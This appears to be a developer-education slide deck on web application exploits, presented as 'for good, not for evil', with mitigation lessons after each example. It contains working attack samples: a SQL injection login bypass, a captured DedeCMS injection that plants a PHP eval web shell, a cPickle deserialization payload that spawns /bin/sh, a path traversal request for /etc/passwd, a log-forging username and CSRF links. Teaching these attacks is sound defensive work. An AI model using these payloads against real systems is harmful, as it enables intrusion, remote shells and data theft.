Tweet
Tweet

Slide 1

Slide 1 text

App Exploits DECONSTRUCTED – FOR GOOD, NOT FOR EVIL. By Joël, from Fictive Kin

Slide 2

Slide 2 text

Not if, but when. IT’S ONLY A MATTER OF TIME

Slide 3

Slide 3 text

A long time ago, IN A HOTEL FAR, FAR AWAY…

Slide 4

Slide 4 text

No content

Slide 5

Slide 5 text

Of course, he obviously tried to just use any (valid) room number with a generic name.

Slide 6

Slide 6 text

201 Smith

Slide 7

Slide 7 text

Overly verbose error messages are the best friend of any attacker.

Slide 8

Slide 8 text

201 Smith Please verify with the front desk your room has been properly checked in and your last name correctly spelled in the hotel registration system.

Slide 9

Slide 9 text

“Please verify with the front desk your room has been properly checked in and your last name correctly spelled in the hotel registration system.”

Slide 10

Slide 10 text

SELECT  COUNT(id)   FROM  current_guests   WHERE  room_number  =  201   AND  guest_last_name  =  ‘Smith’;

Slide 11

Slide 11 text

WHERE  A  AND  B

Slide 12

Slide 12 text

WHERE  A  AND  B  OR  True

Slide 13

Slide 13 text

WHERE  (A  AND  B)  OR  True

Slide 14

Slide 14 text

SELECT  COUNT(id)   FROM  current_guests   WHERE  room_number  =  201   AND  guest_last_name  =  ‘lolpwned’   OR  1=1;

Slide 15

Slide 15 text

201 ‘ OR 1=1;

Slide 16

Slide 16 text

The lesson here is… DON’T BE LAZY.

Slide 17

Slide 17 text

The lesson here is… SECURITY IS HARD.

Slide 18

Slide 18 text

The lesson here is… THAT THERE ARE MANY LESSONS.

Slide 19

Slide 19 text

Injection Serialization Path Traversal Cross Site Scripting Cross Site Request Forgery

Slide 20

Slide 20 text

Injection Attacks COME IN MANY FLAVOURS

Slide 21

Slide 21 text

SQL INJECTIONS SANITIZE YOUR INPUTS

Slide 22

Slide 22 text

10.58.17.55  -­‐  -­‐  [20/Feb/2015:16:19:35  +0000]  "GET  /page?product_id=arrs1%5B%5D%3D99%26arrs1%5B%5D %3D102%26arrs1%5B%5D%3D103%26arrs1%5B%5D%3D95%26arrs1%5B%5D%3D100%26arrs1%5B%5D%3D98%26arrs1%5B%5D %3D112%26arrs1%5B%5D%3D114%26arrs1%5B%5D%3D101%26arrs1%5B%5D%3D102%26arrs1%5B%5D%3D105%26arrs1%5B%5D %3D120%26arrs2%5B%5D%3D109%26arrs2%5B%5D%3D121%26arrs2%5B%5D%3D116%26arrs2%5B%5D%3D97%26arrs2%5B%5D %3D103%26arrs2%5B%5D%3D96%26arrs2%5B%5D%3D32%26arrs2%5B%5D%3D40%26arrs2%5B%5D%3D97%26arrs2%5B%5D %3D105%26arrs2%5B%5D%3D100%26arrs2%5B%5D%3D44%26arrs2%5B%5D%3D101%26arrs2%5B%5D%3D120%26arrs2%5B%5D %3D112%26arrs2%5B%5D%3D98%26arrs2%5B%5D%3D111%26arrs2%5B%5D%3D100%26arrs2%5B%5D%3D121%26arrs2%5B%5D %3D44%26arrs2%5B%5D%3D110%26arrs2%5B%5D%3D111%26arrs2%5B%5D%3D114%26arrs2%5B%5D%3D109%26arrs2%5B%5D %3D98%26arrs2%5B%5D%3D111%26arrs2%5B%5D%3D100%26arrs2%5B%5D%3D121%26arrs2%5B%5D%3D41%26arrs2%5B%5D %3D32%26arrs2%5B%5D%3D86%26arrs2%5B%5D%3D65%26arrs2%5B%5D%3D76%26arrs2%5B%5D%3D85%26arrs2%5B%5D %3D69%26arrs2%5B%5D%3D83%26arrs2%5B%5D%3D40%26arrs2%5B%5D%3D49%26arrs2%5B%5D%3D50%26arrs2%5B%5D %3D51%26arrs2%5B%5D%3D52%26arrs2%5B%5D%3D53%26arrs2%5B%5D%3D54%26arrs2%5B%5D%3D44%26arrs2%5B%5D %3D64%26arrs2%5B%5D%3D96%26arrs2%5B%5D%3D92%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D96%26arrs2%5B%5D %3D44%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D123%26arrs2%5B%5D%3D100%26arrs2%5B%5D%3D101%26arrs2%5B%5D %3D100%26arrs2%5B%5D%3D101%26arrs2%5B%5D%3D58%26arrs2%5B%5D%3D112%26arrs2%5B%5D%3D104%26arrs2%5B%5D %3D112%26arrs2%5B%5D%3D125%26arrs2%5B%5D%3D102%26arrs2%5B%5D%3D105%26arrs2%5B%5D%3D108%26arrs2%5B%5D %3D101%26arrs2%5B%5D%3D95%26arrs2%5B%5D%3D112%26arrs2%5B%5D%3D117%26arrs2%5B%5D%3D116%26arrs2%5B%5D %3D95%26arrs2%5B%5D%3D99%26arrs2%5B%5D%3D111%26arrs2%5B%5D%3D110%26arrs2%5B%5D%3D116%26arrs2%5B%5D %3D101%26arrs2%5B%5D%3D110%26arrs2%5B%5D%3D116%26arrs2%5B%5D%3D115%26arrs2%5B%5D%3D40%26arrs2%5B%5D %3D39%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D120%26arrs2%5B%5D%3D115%26arrs2%5B%5D%3D118%26arrs2%5B%5D %3D105%26arrs2%5B%5D%3D112%26arrs2%5B%5D%3D46%26arrs2%5B%5D%3D112%26arrs2%5B%5D%3D104%26arrs2%5B%5D %3D112%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D44%26arrs2%5B%5D%3D39%26arrs2%5B%5D %3D39%26arrs2%5B%5D%3D60%26arrs2%5B%5D%3D63%26arrs2%5B%5D%3D112%26arrs2%5B%5D%3D104%26arrs2%5B%5D %3D112%26arrs2%5B%5D%3D32%26arrs2%5B%5D%3D101%26arrs2%5B%5D%3D118%26arrs2%5B%5D%3D97%26arrs2%5B%5D %3D108%26arrs2%5B%5D%3D40%26arrs2%5B%5D%3D36%26arrs2%5B%5D%3D95%26arrs2%5B%5D%3D80%26arrs2%5B%5D %3D79%26arrs2%5B%5D%3D83%26arrs2%5B%5D%3D84%26arrs2%5B%5D%3D91%26arrs2%5B%5D%3D120%26arrs2%5B%5D %3D105%26arrs2%5B%5D%3D110%26arrs2%5B%5D%3D115%26arrs2%5B%5D%3D117%26arrs2%5B%5D%3D105%26arrs2%5B%5D %3D93%26arrs2%5B%5D%3D41%26arrs2%5B%5D%3D59%26arrs2%5B%5D%3D63%26arrs2%5B%5D%3D62%26arrs2%5B%5D %3D120%26arrs2%5B%5D%3D105%26arrs2%5B%5D%3D110%26arrs2%5B%5D%3D115%26arrs2%5B%5D%3D117%26arrs2%5B%5D %3D105%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D41%26arrs2%5B%5D%3D59%26arrs2%5B%5D %3D123%26arrs2%5B%5D%3D47%26arrs2%5B%5D%3D100%26arrs2%5B%5D%3D101%26arrs2%5B%5D%3D100%26arrs2%5B%5D %3D101%26arrs2%5B%5D%3D58%26arrs2%5B%5D%3D112%26arrs2%5B%5D%3D104%26arrs2%5B%5D%3D112%26arrs2%5B%5D %3D125%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D41%26arrs2%5B%5D%3D32%26arrs2%5B%5D%3D35%26arrs2%5B%5D %3D32%26arrs2%5B%5D%3D64%26arrs2%5B%5D%3D96%26arrs2%5B%5D%3D92%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D96…

Slide 23

Slide 23 text

10.58.17.55  -­‐  -­‐  [20/Feb/2015:16:19:35  +0000]  "GET  /page?product_id=arrs1%5B%5D%3D99%26arrs1%5B%5D %3D102%26arrs1%5B%5D%3D103%26arrs1%5B%5D%3D95%26arrs1%5B%5D%3D100%26arrs1%5B%5D%3D98%26arrs1%5B%5D %3D112%26arrs1%5B%5D%3D114%26arrs1%5B%5D%3D101%26arrs1%5B%5D%3D102%26arrs1%5B%5D%3D105%26arrs1%5B%5D %3D120%26arrs2%5B%5D%3D109%26arrs2%5B%5D%3D121%26arrs2%5B%5D%3D116%26arrs2%5B%5D%3D97%26arrs2%5B%5D %3D103%26arrs2%5B%5D%3D96%26arrs2%5B%5D%3D32%26arrs2%5B%5D%3D40%26arrs2%5B%5D%3D97%26arrs2%5B%5D %3D105%26arrs2%5B%5D%3D100%26arrs2%5B%5D%3D44%26arrs2%5B%5D%3D101%26arrs2%5B%5D%3D120%26arrs2%5B%5D %3D112%26arrs2%5B%5D%3D98%26arrs2%5B%5D%3D111%26arrs2%5B%5D%3D100%26arrs2%5B%5D%3D121%26arrs2%5B%5D %3D44%26arrs2%5B%5D%3D110%26arrs2%5B%5D%3D111%26arrs2%5B%5D%3D114%26arrs2%5B%5D%3D109%26arrs2%5B%5D %3D98%26arrs2%5B%5D%3D111%26arrs2%5B%5D%3D100%26arrs2%5B%5D%3D121%26arrs2%5B%5D%3D41%26arrs2%5B%5D %3D32%26arrs2%5B%5D%3D86%26arrs2%5B%5D%3D65%26arrs2%5B%5D%3D76%26arrs2%5B%5D%3D85%26arrs2%5B%5D %3D69%26arrs2%5B%5D%3D83%26arrs2%5B%5D%3D40%26arrs2%5B%5D%3D49%26arrs2%5B%5D%3D50%26arrs2%5B%5D %3D51%26arrs2%5B%5D%3D52%26arrs2%5B%5D%3D53%26arrs2%5B%5D%3D54%26arrs2%5B%5D%3D44%26arrs2%5B%5D %3D64%26arrs2%5B%5D%3D96%26arrs2%5B%5D%3D92%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D96%26arrs2%5B%5D %3D44%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D123%26arrs2%5B%5D%3D100%26arrs2%5B%5D%3D101%26arrs2%5B%5D %3D100%26arrs2%5B%5D%3D101%26arrs2%5B%5D%3D58%26arrs2%5B%5D%3D112%26arrs2%5B%5D%3D104%26arrs2%5B%5D %3D112%26arrs2%5B%5D%3D125%26arrs2%5B%5D%3D102%26arrs2%5B%5D%3D105%26arrs2%5B%5D%3D108%26arrs2%5B%5D %3D101%26arrs2%5B%5D%3D95%26arrs2%5B%5D%3D112%26arrs2%5B%5D%3D117%26arrs2%5B%5D%3D116%26arrs2%5B%5D %3D95%26arrs2%5B%5D%3D99%26arrs2%5B%5D%3D111%26arrs2%5B%5D%3D110%26arrs2%5B%5D%3D116%26arrs2%5B%5D %3D101%26arrs2%5B%5D%3D110%26arrs2%5B%5D%3D116%26arrs2%5B%5D%3D115%26arrs2%5B%5D%3D40%26arrs2%5B%5D %3D39%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D120%26arrs2%5B%5D%3D115%26arrs2%5B%5D%3D118%26arrs2%5B%5D %3D105%26arrs2%5B%5D%3D112%26arrs2%5B%5D%3D46%26arrs2%5B%5D%3D112%26arrs2%5B%5D%3D104%26arrs2%5B%5D %3D112%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D44%26arrs2%5B%5D%3D39%26arrs2%5B%5D %3D39%26arrs2%5B%5D%3D60%26arrs2%5B%5D%3D63%26arrs2%5B%5D%3D112%26arrs2%5B%5D%3D104%26arrs2%5B%5D %3D112%26arrs2%5B%5D%3D32%26arrs2%5B%5D%3D101%26arrs2%5B%5D%3D118%26arrs2%5B%5D%3D97%26arrs2%5B%5D %3D108%26arrs2%5B%5D%3D40%26arrs2%5B%5D%3D36%26arrs2%5B%5D%3D95%26arrs2%5B%5D%3D80%26arrs2%5B%5D %3D79%26arrs2%5B%5D%3D83%26arrs2%5B%5D%3D84%26arrs2%5B%5D%3D91%26arrs2%5B%5D%3D120%26arrs2%5B%5D %3D105%26arrs2%5B%5D%3D110%26arrs2%5B%5D%3D115%26arrs2%5B%5D%3D117%26arrs2%5B%5D%3D105%26arrs2%5B%5D %3D93%26arrs2%5B%5D%3D41%26arrs2%5B%5D%3D59%26arrs2%5B%5D%3D63%26arrs2%5B%5D%3D62%26arrs2%5B%5D %3D120%26arrs2%5B%5D%3D105%26arrs2%5B%5D%3D110%26arrs2%5B%5D%3D115%26arrs2%5B%5D%3D117%26arrs2%5B%5D %3D105%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D41%26arrs2%5B%5D%3D59%26arrs2%5B%5D %3D123%26arrs2%5B%5D%3D47%26arrs2%5B%5D%3D100%26arrs2%5B%5D%3D101%26arrs2%5B%5D%3D100%26arrs2%5B%5D %3D101%26arrs2%5B%5D%3D58%26arrs2%5B%5D%3D112%26arrs2%5B%5D%3D104%26arrs2%5B%5D%3D112%26arrs2%5B%5D %3D125%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D41%26arrs2%5B%5D%3D32%26arrs2%5B%5D%3D35%26arrs2%5B%5D %3D32%26arrs2%5B%5D%3D64%26arrs2%5B%5D%3D96%26arrs2%5B%5D%3D92%26arrs2%5B%5D%3D39%26arrs2%5B%5D%3D96…

Slide 24

Slide 24 text

arrs1%5B%5D%3D99 URLENCODED

Slide 25

Slide 25 text

arrs1[]=99 QUERY ARGS ARE KEY/VAL PAIRS OF ARRAYS AND INTEGERS

Slide 26

Slide 26 text

arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[] =112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109 &arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[ ]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&a rrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[] =110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100& arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=8 5&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=49&arrs2[]=50&arrs2[]=51&arrs2[]= 52&arrs2[]=53&arrs2[]=54&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[] =39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arr s2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]= 125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&a rrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[] =116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&a rrs2[]=39&arrs2[]=120&arrs2[]=115&arrs2[]=118&arrs2[]=105&arrs2[]=112&arrs2[ ]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&ar rs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=11 2&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2 []=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs 2[]=120&arrs2[]=105&arrs2[]=110&arrs2[]=115&arrs2[]=117&arrs2[]=105&arrs2[]= 93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=120&arrs2[]=105&arrs2 []=110&arrs2[]=115&arrs2[]=117&arrs2[]=105&arrs2[]=39&arrs2[]=39&arrs2[]=41& arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[ ]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39& arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92 &arrs2[]=39&arrs2[]=96

Slide 27

Slide 27 text

arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[] =112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109 &arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[ ]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&a rrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[] =110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100& arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=8 5&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=49&arrs2[]=50&arrs2[]=51&arrs2[]= 52&arrs2[]=53&arrs2[]=54&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[] =39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arr s2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]= 125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&a rrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[] =116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&a rrs2[]=39&arrs2[]=120&arrs2[]=115&arrs2[]=118&arrs2[]=105&arrs2[]=112&arrs2[ ]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&ar rs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=11 2&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2 []=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs 2[]=120&arrs2[]=105&arrs2[]=110&arrs2[]=115&arrs2[]=117&arrs2[]=105&arrs2[]= 93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=120&arrs2[]=105&arrs2 []=110&arrs2[]=115&arrs2[]=117&arrs2[]=105&arrs2[]=39&arrs2[]=39&arrs2[]=41& arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[ ]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39& arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92 &arrs2[]=39&arrs2[]=96

Slide 28

Slide 28 text

99,  102,  103,  95,  100,  98,  112,  114,  101,  102,   105,  120,  109,  121,  116,  97,  103,  96,  32,  40,   97,  105,  100,  44,  101,  120,  112,  98,  111,  100,   121,  44,  110,  111,  114,  109,  98,  111,  100,   121,  41,  32,  86,  65,  76,  85,  69,  83,  40,  49,   50,  51,  52,  53,  54,  44,  64,  96,  92,  39,  96,   44,  39,  123,  100,  101,  100,  101,  58,  112,  104,   112,  125,  102,  105,  108,  101,  95,  112,  117,   116,  95,  99,  111,  110,  116,  101,  110,  116,   115,  40,  39,  39,  120,  115,  118,  105,  112,  46,   112,  104,  112,  39,  39,  44,  39,  39,  60,  63,   112,  104,  112,  32,  101,  118,  97,  108,  40,  36,   95,  80,  79,  83,  84,  91,  120,  105,  110,  115,   117,  105,  93,  41,  59,  63,  62,  120,  105,  110,   115,  117,  105,  39,  39,  41,  59,  123,  47,  100,   101,  100,  101,  58,  112,  104,  112,  125,  39,  41,   32,  35,  32,  64,  96,  92,  39,  96

Slide 29

Slide 29 text

In  [1]:  input  =  "arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95…"   In  [2]:  parsed  =  input.split('&')   In  [3]:  v  =  [int(p.split('=')[1])  for  p  in  parsed  if  p  is  not  '']   In  [4]:  print  ''.join(chr(i)  for  i  in  v)  

Slide 30

Slide 30 text

cfg_dbprefixmytag`  (aid,expbody,normbody)   VALUES(123456,@`\'`,'{dede:php} file_put_contents(''xsvip.php'',''xinsui'');{/dede:php}')  #  @`\'`

Slide 31

Slide 31 text

cfg_dbprefixmytag`  (aid,expbody,normbody)   VALUES(123456,@`\'`,'{dede:php} file_put_contents(''xsvip.php'',''xinsui'');{/dede:php}')  #  @`\'`

Slide 32

Slide 32 text

cfg_dbprefixmytag`  (aid,expbody,normbody)   VALUES(123456,@`\'`,'{dede:php} file_put_contents(''xsvip.php'',''xinsui'');{/dede:php}')  #  @`\'`

Slide 33

Slide 33 text

cfg_dbprefixmytag`  (aid,expbody,normbody)   VALUES(123456,@`\'`,'{dede:php} file_put_contents(''xsvip.php'',''xinsui'');{/dede:php}')  #  @`\'`

Slide 34

Slide 34 text

No content

Slide 35

Slide 35 text

In Communist China, CMS HACK YOU!

Slide 36

Slide 36 text

The lesson here is… SANITIZE YOUR INPUTS! ESCAPE YOUR OUTPUTS!

Slide 37

Slide 37 text

EX POST FACTO DETECTION LOG INVALID DATABASE QUERIES.

Slide 38

Slide 38 text

LOG INJECTIONS COVERING UP THE DETAILS

Slide 39

Slide 39 text

def  log_failed_login(username):          with  open("access.log",  'a')  as  f:                  f.write("User  login  failed  for:  %s\n"  %  username)  

Slide 40

Slide 40 text

guest\nUser  login  succeeded  for:  admin Here’s my username

Slide 41

Slide 41 text

User  login  failed  for:  guest\n   User  login  succeeded  for:  admin\n

Slide 42

Slide 42 text

The lesson here is… SANITIZE YOUR INPUTS! ESCAPE YOUR OUTPUTS!

Slide 43

Slide 43 text

Serialization Attacks …ALSO COME IN SEVERAL FLAVOURS.

Slide 44

Slide 44 text

Object Serialization DON’T TRUST YOUR OWN CACHE

Slide 45

Slide 45 text

 ‘blue’);   echo  serialize($messages);   ?>

Slide 46

Slide 46 text

a:1:{s:6:"sekret";s:4:"blue";}

Slide 47

Slide 47 text

PHP unserialize() can instantiate objects. Serializing objects containing user input is, fundamentally, dangerous.

Slide 48

Slide 48 text

Magic Methods will be your downfall __wakeup(), __destruct()

Slide 49

Slide 49 text

http://www.slideshare.net/phdays/php-wordpress

Slide 50

Slide 50 text

http://www.slideshare.net/phdays/php-wordpress

Slide 51

Slide 51 text

http://www.slideshare.net/phdays/php-wordpress

Slide 52

Slide 52 text

Object Serialization …IN YOUR COOKIES.

Slide 53

Slide 53 text

People forget that users can (sometimes) modify cookies $_COOKIE

Slide 54

Slide 54 text

a:2:{s:2:"id";s:1:"1";s:4:"name";s:4:"Joel";} array("id" => '1', 'name' => 'Joel')

Slide 55

Slide 55 text

PHP is not Alone PYTHON cPICKLE HAS SIMILAR ISSUES

Slide 56

Slide 56 text

class AuthedProtocol(protocol.Protocol): def verify(self, headers): try: token = cPickle.loads(base64.b64decode(headers['AuthToken'])) if not check_hmac(token['signature'], token['data'], getSecretKey()): raise SomeError self.secure_data = token['data'] except: raise SomeError

Slide 57

Slide 57 text

class AuthedProtocol(protocol.Protocol): def verify(self, headers): try: token = cPickle.loads(base64.b64decode(headers['AuthToken'])) if not check_hmac(token['signature'], token['data'], getSecretKey()): raise SomeError self.secure_data = token['data'] except: raise SomeError

Slide 58

Slide 58 text

import cPickle, subprocess, base64 class Hackzor(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),))

Slide 59

Slide 59 text

AuthToken: Y3N1YnByb2Nlc3MKUG9wZW4KcDEKKChTJy9iaW4vc2gnCnAyCnRwMwp0cDQKUnA1Ci4= base64.b64encode(cPickle.dumps(RunBinSh()))

Slide 60

Slide 60 text

Path Traversals FILES THAT SHOULDN’T BE SEEN

Slide 61

Slide 61 text

$pdf  =  $_GET[‘pdf’];   $filename  =  “/var/www/$pdf”;   readfile($filename);

Slide 62

Slide 62 text

GET /documents?pdf=../../etc/passwd

Slide 63

Slide 63 text

$pdf  =  $_GET[‘pdf’];   $filename  =  “/var/www/../../etc/passwd”;   readfile($filename);

Slide 64

Slide 64 text

The lesson here is… SANITIZE YOUR INPUTS! LIMIT SURFACE AREA (open_basedir etc.) PERMISSIONS MEAN THINGS! CHROOT IS YOUR FRIEND!

Slide 65

Slide 65 text

CSRF …OR WHEN EVERYONE LIKED HAVING SEX WITH GOATS ON TWITTER

Slide 66

Slide 66 text

No content

Slide 67

Slide 67 text

CSRF requires some social engineering “Hey, click this link for free money!”

Slide 68

Slide 68 text

href=“/status?update=LOLPWNED”

Slide 69

Slide 69 text

href=“/account?transfer=1billion&to=jperras”

Slide 70

Slide 70 text

The lesson here is… USE CSRF TOKENS PER REQUEST! Access-Control-Allow-Origin!

Slide 71

Slide 71 text

What’s a developer to do?

Slide 72

Slide 72 text

Logging, logging, logging Intrusion Detection System (IDS) Security Mailing Lists Error notification systems (Sentry) … try to be smarter

Slide 73

Slide 73 text

@jperras Joël Perras http://nerderati.com

Slide 74

Slide 74 text

joind.in/13329